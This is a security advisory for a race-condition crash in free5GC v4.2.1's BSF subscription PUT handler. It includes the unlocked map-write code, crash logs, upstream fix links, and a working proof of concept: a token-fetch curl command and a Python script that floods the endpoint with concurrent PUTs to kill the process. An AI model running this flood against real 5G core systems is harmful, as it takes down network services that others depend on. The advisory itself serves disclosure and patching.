free5GC BSF CVE-2026-44318

Summary

free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details

Validated against the BSF container in the official Docker compose lab.

• Source repo tag: v4.2.1
• Running Docker image: free5gc/bsf:v4.2.1
• Docker validation date: 2026-03-22
• BSF endpoint: http://10.100.200.11:8000

Read side (locked):

func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
    c.mutex.RLock()
    defer c.mutex.RUnlock()

    sub, exists := c.Subscriptions[subId]
    return sub, exists
}

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):

subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf):

• Read side (locked):
• NFs/bsf/internal/sbi/processor/subscriptions.go:81
• NFs/bsf/internal/context/context.go:726
• NFs/bsf/internal/context/context.go:730
• Unsafe write side (the create-if-absent branch in PUT, no lock):
• NFs/bsf/internal/sbi/processor/subscriptions.go:111
• NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC

Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

1. Obtain a valid nbsf-management token from NRF:

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'

1. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):

import json, threading, urllib.request

TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
    "events": ["PCF_BINDING_CREATION"],
    "notifUri": "http://127.0.0.1/cb",
    "notifCorreId": "1",
    "supi": "imsi-208930000000003",
}).encode()

def send_put(i, n):
    url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
    req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
    req.add_header("Authorization", f"Bearer {TOKEN}")
    req.add_header("Content-Type", "application/json")
    urllib.request.urlopen(req, timeout=2).read()

threads = []
for i in range(64):
    for n in range(50):
        threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()

1. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process:

[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f

1. Container state confirms exit code 2:

exited|2|0

Impact

Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can:

• Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
• Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7